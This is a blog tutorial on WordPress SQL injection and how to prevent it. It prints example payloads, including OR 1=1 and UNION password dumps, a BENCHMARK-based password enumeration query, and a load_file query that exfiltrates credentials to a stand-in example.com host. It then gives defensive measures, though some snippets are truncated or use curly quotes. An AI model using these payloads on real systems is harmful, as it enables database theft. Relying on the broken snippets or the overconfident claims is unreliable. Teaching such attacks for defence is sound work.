What Is WordPress SQL Injection and How to Prevent It

What Is WordPress SQL Injection and How to Prevent It

One of the most critical factors in developing a website is its security. If your site experiences a WordPress SQL injection, hackers could access and exploit sensitive information in your database.

Fortunately, preventing SQL injection attacks is simpler than you might think. You can easily keep your site protected if you update your software, implement a firewall, or install a WordPress security plugin.

In this post, we’ll explain what SQL injection is and how it can occur. Then, we’ll show you how to stop SQL injection attacks in WordPress. Let’s get started!

Download all in one WordPress cheat sheet

What Is SQL Injection

Before we dive into SQL injection, it’s important to understand what SQL is. In short, Structured Query Language (SQL) is a programming language used to interact with databases.

In WordPress, you can use SQL queries to request data from your MySQL database. You can modify tables, add new data, and sort data results with different commands.

In SQL injection (SQLi), malicious code is injected into a web application. Using harmful SQL statements, attackers can access data in the database and even destroy it.

SQL injection attacks have been happening since the late 90s and remain a common problem. In 2021, this technique was third on a list of the top ten web application security risks.

Even though this is a significant problem, many websites don’t implement effective measures for preventing SQL injection attacks. This has led to several data breaches, sometimes on a large scale. For example, Stanford University experienced a cyber attack in 2020 that compromised the data of many students.

Ultimately, WordPress SQL injection can have disastrous consequences for your website. Since you don’t want your data in the wrong hands, it’s crucial to boost your online security as much as possible.

How WordPress SQL Injection Works

SQL injection attacks can be performed in different ways. They can involve:

  • Unauthorized data retrieval. Attackers can manipulate a SELECT query to grab data and “dump” the contents in a database.
  • Data modification. SQLi can be used to alter database entries or change account permissions.
  • Denial-of-Service (DoS). DoS attacks make it difficult for actual users to visit your website. Attackers do this by mass-removing the content in your database.

Chances are, you likely have a form on your website that collects information from visitors. Hackers can use this to bypass your web application security measures.

If you ask a user for input, like a username, password, or phone number, they can give you a malicious SQL statement instead. This will unknowingly run on your database, potentially exposing your site data.

Here are some common entry points for SQLi attacks:

  • Signup forms
  • Login forms
  • Feedback fields
  • Shopping carts
  • Contact forms

To select a specific user with a given user ID, here’s an example of a normal SQL statement:

txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

Without any user input guidelines, SQLi attackers can alter this statement:

SELECT * FROM Users WHERE UserId = 105 OR 1=1;

This will return all the rows from the “Users” table, exposing your visitors’ information. Potentially, attackers can access passwords as well:

SELECT UserId, Name, Password FROM Users WHERE UserId = 105 or 1=1;

Using SQL injection, hackers can discover your website’s usernames and passwords. When running an eCommerce site, these malicious parties can leak your customers’ payment details and other sensitive information, ruining your online reputation.

Types of SQL Injection Attacks

Now that you know about SQL injection and how it works, let’s discuss the various ways it can be executed. This way, you can be better prepared to avoid them.

In-Band SQLi

One example of SQL injection attacks is in-band SQLi. In this method, the attacker can use the same channel to insert malicious coding and gather results.

Since in-band SQLi is simple and efficient, it is a popular type of SQL injection. However, there are two variations of in-band SQLi – error-based and union-based.

Error-Based SQLi

An error-based SQL injection attack is a technique that forces the database to produce error messages. This is used to gain information about the database structure.

Attackers can achieve this by using an SQL command in an input field parameter. This can be a single quote, double quote, or operators like AND, OR, or NOT.

For example, a site’s URL can take a parameter from visitors:

https://www.example.org/index.php?item=123

In this case, attackers might add a single quote at the end of the parameter:

https://www.example.org/index.php?item=123′

This can return an error that contains sensitive information:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘VALUE’’.

Here is the information that an attacker can gain from this error:

  • Confirmation that the database uses MySQL
  • Specific syntax that forced the error
  • Location in the query where the error occurred

After receiving this error, SQLi attackers will know your database is insecure. This can enable them to plan other injection attacks to gain more sensitive data. They may even use a command like grep extract to automate SQL syntax options to locate additional errors.

Union-Based SQLi

A union-based SQL injection attack is a technique that uses the UNION SQL operator to combine two or more SELECT statements in one HTTP response. This response can contain sensitive data that can be exploited.

Essentially, attackers use the SQL keyword UNION to gain additional data than what was retrieved in an initial query. This keyword enables hackers to add extra SELECT queries to the original one.

Here’s how that can be executed:

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

This query will return the values from two columns into a single result set. This will contain the values from columns A and B in one table, as well as columns C and D in another table.

In order for this SQLi to work, there needs to be a few requirements:

  • Every query has to return the same number of columns.
  • Each column’s data type has to be compatible with the queries.

If these two factors are met, attackers will be able to retrieve results from their injected query. After determining the number of columns required and the user data type, SQLi hackers can retrieve content from your database tables.

For instance, the original query may return two columns with string data. If these columns are for usernames and passwords, attackers can submit this input:

' UNION SELECT username, password FROM users–

As you can imagine, these query results can have disastrous consequences. Once this happens, the personal information on your website can be accessed and exploited in a variety of ways.

Inferential SQLi

Inferential SQL injection is commonly referred to as blind SQLi. Unlike in-band attacks, no data will be transferred between the application and the hacker. Instead, the attacker will send multiple queries to the database to observe the behavior of the responses.

In short, inferential SQLi involves evaluating the structure of a database by noting how it responds to specific data payloads. Attackers can do this using boolean-based and time-based SQL injection techniques.

Boolean-Based SQLi

One type of inferential SQLi is the boolean-based injection method. An attacker will query the database with TRUE or FALSE questions and evaluate the response. Often, this technique is used when the application only displays generic error messages.

Boolean-based SQLi takes a much longer time to achieve its goal. Since the database will not output data to the web page, the attacker will steal data by considering the response to TRUE or FALSE questions. This can let them know if the database is vulnerable to blind SQL injection.

For example, hackers can inject a malicious query that returns a FALSE result:

http://example.com/items.php?id=2 and 1=2

If the application doesn’t return a result, it is likely vulnerable to SQL injection. To ensure, attackers usually inject queries that return a TRUE result:

http://newspaper.com/items.php?id=2 and 1=1

The attacker can distinguish between TRUE and FALSE returns when the content is different for each response. This can enable them to exploit the database.

Time-Based SQLi

Another way to determine if a database is vulnerable to SQLi is to use a time-based attack. This type of injection forces a delay before the execution of the queries.

Based on the response time, attackers can evaluate whether the result is TRUE or FALSE. Knowing this information can allow them to execute additional queries.

If a time-based attack is performed on a MySQL database, it likely uses the sleep function. This will instruct the database to delay execution for a certain amount of time:

select * from comments
WHERE post_id=1-SLEEP(15);

When the response is successfully delayed, the attacker can know that SQL injection is possible. This will confirm that the server is a MySQL database, leading to more complex payload injections.

For example, attackers can use this delay to confirm data in a database. They can enumerate each letter by having the database pause for a specific amount of time.

For MySQL databases, you can implement the BENCHMARK() operation to delay responses if the expression is true. Here’s an example of how that would work:

1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users WHERE user_id = 1;

If there is a significant delay in the response, attackers can assume that the first password character for user_id = 1 is character “2”. Using this method, they can enumerate every password stored in your database.

Out-of-Band SQLi

Out-of-band SQLi means the attacker could not receive a response from the injection on the same channel it requested. Instead, they can force the application to send requested data to a controlled remote endpoint.

Often, out-of-band SQL injection can be an effective alternative to inferential attacks. However, this technique is only possible if the server has commands that trigger DNS or HTTP requests. Fortunately, this is common with popular SQL servers.

MySQL server 5.5.52 and below will automatically start with an empty secure_file_priv global system variable. In this case, out-of-band attackers can exfiltrate the data and create a request to a domain name with a load_file function. This will retrieve the exfiltrated data in the request.

Hackers can accomplish this by executing this SQL query:

SELECT load_file(CONCAT('\\\\',(SELECT+@@version),'.',(SELECT+user),'.', (SELECT+password),'.',example.com\\test.txt'))

As a result, the application will send a DNS request to the included domain. This can expose sensitive details such as your database version, usernames, and passwords.

How Common are WordPress SQL Injection Attacks

If you’re building a WordPress site, you’ll need to know whether or not to be concerned about SQL injection. Unfortunately, SQLi is a fairly common way for hackers to compromise this content management system (CMS).

According to the iThemes WordPress Vulnerability Report, SQL injection attacks made up 9.3% of all security threats in 2021. Although factors like cross-site scripting and cross-site forgery requests were more common, it’s imperative not to overlook SQLi threats.

WordPress stores all your website’s information in an SQL database. This includes your comments, posts, customer information, and much more. Plus, WordPress runs on PHP, which integrates with SQL. Since SQL is an integral part of WordPress, it can leave you vulnerable to SQL injection attacks.

Usually, WordPress SQL injection is executed through forms. Attackers can exploit this process when users submit data to a PHP script containing an SQL query. As a WordPress website owner, it’s important to maximize your security to prevent this issue.

How to Stop SQL Injection in WordPress (9 Methods)

If your website has an SQL injection vulnerability, attackers can access, modify, or remove data in your database. Fortunately, you can implement several security practices to increase WordPress security and avoid an SQL attack.

1. Implement a Firewall

One of the best ways to secure your website against SQLi is to set up a web application firewall (WAF). A firewall is a security system that monitors network traffic and blocks suspicious activity. It can protect your site from SQL injection, as well as cross-site forgery, cross-site scripting, file inclusion, and more.

Cloudflare is a free service that provides a powerful Web Application Firewall for your website. This tool can automatically detect several variations of SQLi attacks.

Cloudflare web application firewall home page

2. Change the WordPress Database Prefix

When you first install WordPress, the database prefix will automatically be set to “wp_.” This default option can make it easier for hackers to access your data. Without resetting the prefix, attackers can easily guess your database tables.

You can quickly change your database prefix, but remember to back up your WordPress site first:

  1. If you have a Hostinger account, sign into the hPanel dashboard and open your File Manager.
hPanel dashboard, File manager highlighted
  1. Click on the public_html folder and open the wp-config.php file.
The wp-config.php file on Hostinger's file manager
  1. Search for the $table_prefix value. This should be set to “wp_.”
Searching for the $table_prefix value in the wp-config.php file
  1. You can remove this prefix and enter a new one. Make sure only to use a combination of letters, numbers, and underscores. Lastly, save and close the file.
  2. Go back to hPanel and find the Databases section. Then, click on phpMyAdmin.
The phpMyAdmin button in Databases section in hPanel
  1. On the next page, select Enter phpMyAdmin. This will open your site’s database.
PHP My Admin page showing a list of current databases
  1. In phpMyAdmin, click on the SQL tab. To change your database prefix, enter this query into the text box:
RENAME table `wp_tablename` TO `wp_1secure1_tablename`;

Make sure to change “wp_tablename” to your current table name. Then, “wp_1secure1_tablename” should have your new prefix and table name.

Changing wp_tablename and wp_1secure1_tablename values on phpMyAdmin
  1. You’ll need to repeat this code for each table you want to rename. When you’re finished, select Go.

Additionally, you may have to update some prefix values manually. In this case, you can filter your values to find all instances of the old prefix:

SELECT * FROM `wp_1secure1_tablename` WHERE `field_name` LIKE '%wp_%'

Then, you can edit each result to contain the new prefix value. This should completely remove the “wp_” prefix from your database.

3. Validate User Inputs

As mentioned earlier, hackers typically execute SQLi attacks by exploiting user-submitted data. Therefore, it’s important to secure all entry fields on your website, including forms and comment sections.

You can filter any commands submitted by users using input validation and sanitization. You can effectively protect your website from SQL injection by ensuring these don’t contain extra character strings or malicious code.

To create input validation for your forms, you’ll be establishing rules for user entries. If you’re using a form builder such as Formidable Forms, you can create an Input Mask Format. This will limit the entry to a specific set of symbols.

Creating an Input Mask Format on Formidable Forms

You can also consider including drop-down menus and multiple choice options only. Avoiding text boxes can prevent hackers from exploiting your form data.

Data validation can also be performed using functions. If you want to limit submissions to only valid US ZIP codes, here’s the function you can use:

/**
 * Validate a US zip code.
 *
 * @param string $zip_code   RAW zip code to check.
 *
 * @return bool          	true if valid, false otherwise.
 */
function wporg_is_valid_us_zip_code( $zip_code ) {
    // Scenario 1: empty.
    if ( empty( $zip_code ) ) {
        return false;
    }
 
    // Scenario 2: more than 10 characters.
    if ( 10 < strlen( trim( $zip_code ) ) ) {
        return false;
    }
 
    // Scenario 3: incorrect format.
    if ( ! preg_match( '/^\d{5}(\-?\d{4})?$/', $zip_code ) ) {
        return false;
    }
 
    // Passed successfully.
    return true;
}

This code will evaluate the wporg_zip_code field for every submission based on these pre-set rules. Then, it will only perform the action with a valid ZIP code:

if ( isset( $_POST['wporg_zip_code'] ) && wporg_is_valid_us_zip_code( $_POST['wporg_zip_code'] ) ) {
    // your action
}

To further clean your user-submitted data, you can sanitize each input. If you want to sanitize an email address, you can use the following function:

function sanitize_email( $email ) {
    // Test for the minimum length the email can be.
    if ( strlen( $email ) < 6 ) {

If there are any extra characters not included in a standard email address, this will strip them out. Then, you’ll receive only valid, sanitized email address submissions.

4. Perform Frequent Updates

When trying to secure your website, consider using the most up-to-date software. Often, outdated core software, themes, and plugins can leave your site vulnerable. Using an older version of WordPress will likely have security gaps that can be exploited.

To check for new updates, open your dashboard and click on the Updates tab. Here, you can update your website to the latest version of WordPress.

Checking for the latest version of WordPress with an Update to version 6.0.2 button present

You can also run updates for plugins and themes. However, you can enable automatic updates if you don’t want to manually update each plugin on your website. To do this, go to your Plugins page. Then, select Enable auto-updates on the right-hand side of each plugin.

Automatic updates for plugins and themes on WordPress

You can also automatically update core WordPress software. This involves simply adding some coding to your wp-config.php file:

define('WP_AUTO_UPDATE_CORE', true);

Now, you can ensure that your site always uses the newest software. With new security patches and bug fixes, you won’t have to worry about vulnerabilities in your coding.

5. Install a WordPress SQL Injection Plugin

Often, one of the easiest ways to prevent SQL injection is to install a WordPress security plugin. As a beginner, this can effectively protect your website without having to edit code or perform other advanced tasks.

Let’s look at some of the most powerful security plugins on the market.

Sucuri

Sucuri Security is one of the most popular security plugins, with over 800,000 active installations. This tool can protect your website against SQLi, using malware scanning, security notifications, and a firewall.

Securi Security web banner

Features:

  • Remote malware scanning
  • File integrity monitoring
  • Security activity audits
  • Post-hack security actions

Even with the core WordPress version, you’ll be able to view security audit logs for your website. Sucuri will scan your core files, note any suspicious activity, and recommend specific actions to improve your security:

Securi Security WordPress plugin

One of the most defining features of Sucuri is its firewall. This inspects all HTTP and HTTPS traffic before it comes in contact with your server. With high-quality signature detection, Sucuri can block any malicious requests before they cause any harm.

The premium version of Sucuri can provide unlimited malware removals by their very own security experts. You’ll also have access to advanced security scans, DDoS mitigation, and a content delivery network (CDN).

Pricing: Sucuri Security is a free WordPress plugin. However, if you want to access the Web Application Firewall, you’ll have to purchase a premium plan starting at $199.99/year.

MalCare

Another effective SQLi prevention tool is MalCare. This WordPress plugin can perform a deep scan for malware on your website and alert you of any vulnerabilities. With MalCare, you can automatically clean your site and avoid many WordPress security issues leading to SQL injection.

MalCare WordPress security plugin web banner

Features:

  • Cloud-based malware scanner
  • Security risk alerts
  • One-click malware removal
  • Identifies and blocks malicious traffic

After you install the free version, you can set up real-time protection from malware. MalCare will initially scan your website and give you a security status. Then, it will continue to conduct daily malware scans.

MalCare WordPress security plugin dashboard

Unlike Sucuri, MalCare implements a free firewall on your website. This can block SQL injections, as well as cross-site scripting attacks. It will also provide login protection, protecting your site from brute-force attacks.

Since the MalCare dashboard displays analytics for multiple sites, this plugin can be a valuable tool for developers. With real-time reports, you can quickly see and fix any security issues.

Pricing: You can download MalCare for free. If you need an automated malware cleaner or help from security experts, the premium plugin starts at $99/year.

Jetpack

Jetpack can be an effective option if you’re looking for an all-in-one plugin that you can use to manage your site’s performance. This tool enables you to boost security, along with site speed, marketing, and design.

Jetpack WordPress plugin web banner

Features:

  • Automatic backups
  • Malware scans
  • Brute force attack prevention
  • Downtime monitoring

You can continually monitor your website for potential SQL injection with malware scanning. As a preventative measure, you can back up your site files and easily recover data after an attack.

Jetpack can also improve your content delivery as it comes with a free CDN that automatically optimizes your images for fast loading. In other words, you’re protecting your website from SQLi and ensuring visitors are getting a great experience on your website.

Pricing: Jetpack is available as a free WordPress plugin. Jetpack Security starts at $10/month for real-time malware detection and backups.

6. Limit User Access Privileges

In WordPress, you can assign different user roles. As the administrator, you can also allow someone to become an Editor, Author, Contributor, Subscriber, Administrator, or Super Admin.

However, it’s often best to limit the number of users who have access to your website. This can help you reduce the probability of a WordPress SQL injection attack.

  1. Go to Users → All Users in your WordPress dashboard to manage users and their roles. When a user is selected, click on Edit.
Editing All Users in the WordPress dashboard
  1. Then, find the Role setting. Here, you can limit the user’s level of control on your website. If they’re an Administrator, you can consider downgrading them to a Contributor, Author, or Editor.
Role settings WordPress dashboard

If a user isn’t currently contributing to your content, you can delete them altogether. This can remove potential vulnerabilities and further secure your website.

7. Remove Unneeded Database Functionality

You can consider normalizing your database if you want to limit the chances of an SQL injection attack. You can make your database less vulnerable by eliminating unnecessary functions and irrelevant content.

Cleaning up your database usually involves organizing data, eliminating redundancies, and ensuring that data dependencies make sense. To do this, you can install a plugin like WP-Optimize.

WP-Optimize WordPress plugin web banner

After you install and activate WP-Optimize, you’ll have a full range of database optimization options. Instead of manually running SQL commands, you can simply select the box next to a particular setting.

WP-Optimize WordPress plugin installed and activated

This is one of the easiest ways to optimize database tables and remove unnecessary data like trashed posts. In turn, this can make your website safer against SQLi.

8. Use Prepared Statements

A prepared statement is a template for SQL that is later customized with variable parameters. After the database receives this template, it stores a plan for executing the query. Later, the data is bound to the parameters, executing the statement.

By writing prepared statements, SQLi attackers won’t be able to change the intent of the query. Here’s what a prepared statement might look like:

$stmt = $mysqli->prepare(“SELECT * FROM users WHERE user = ? AND password = ?”);
$stmt->bind_param(“ss”, $username, $password);
$stmt->execute();

As you can see, this does not directly embed user data. If you used a dynamic query instead, hackers would be able to insert SQL commands to change the query and access critical database information.

However, using a prepared statement can prevent SQL injection. By pre-compiling a query and adding user data later, you can ensure the original query cannot be altered.

9. Hide Your WordPress Version

If people can identify which version of WordPress you’re using, it can make your website more vulnerable to SQL injection attacks. Since each version contains unique security issues, this information can help attackers find a way into your database.

Normally, your WordPress version will be displayed in the header of your website:

<meta name="generator" content="WordPress 6.0.1" />

By hiding this information, you can make it more difficult for SQLi attackers to exploit your site.

  1. You’ll need to access your site files and go to public_html → wp-content → themes.
The themes folder in the File Manager
  1. Select the theme you’re currently using. In this folder, open the functions.php file.
The wp-content folder on File Manager. Functions.php file is highlighted
  1. Copy and paste the following code:
remove_action(‘wp_head’, ‘wp_generator’);
  1. Save your changes.

This will remove your WordPress version number from the HTTP header. Now you don’t have to worry about hackers finding vulnerabilities in your core software!

How to Remove an SQL Injection from Your Website

Even after you take all the necessary precautions, your website may still become the victim of an SQL injection attack. This can have several consequences:

  • Google blacklisting your website
  • Performance issues like slow page speed
  • Broken code appearing on web pages
  • Spam popups
  • Content redirects to another website
  • Spam in your site’s search results

When this happens, you can use a few different methods to clean up your site. You can remove the malware manually if you’re experienced editing site files. However, you can also install a plugin to perform this task automatically.

Wordfence Security is a free WordPress plugin that comes with a malware scanner. It will evaluate your files, themes, and plugins and alert you after finding malware, malicious redirects, or code injections.

Wordfence Security WordPress plugin web banner

Furthermore, Wordfence Security offers a WordPress firewall. After you remove any problems from an SQL injection, the firewall can effectively prevent future security breaches.

It’s also a good idea to contact your hosting company. If you use a shared hosting plan, the SQL injection could have affected other sites on your server.

Conclusion

SQLi attackers can use malicious SQL statements to enter and exploit your database. Although this is a common problem for WordPress websites, you can easily remove any injected malware. However, you can implement security measures to prevent future attacks and protect your data.

To recap, here’s how you can prevent WordPress SQL injection:

  1. Implement a firewall with Cloudflare.
  2. Change the WordPress database prefix.
  3. Validate user inputs.
  4. Perform frequent updates.
  5. Install an SQL injection plugin like Sucuri Security.
  6. Limit user access privileges.
  7. Remove unneeded database functionality with WP-Optimize.
  8. Use prepared statements.
  9. Hide your WordPress version.

Now you should have a fully secure website that isn’t vulnerable to SQL injection attacks!

Author
The author

Will M.

Will Morris is a staff writer at WordCandy. When he's not writing about WordPress, he likes to gig his stand-up comedy routine on the local circuit.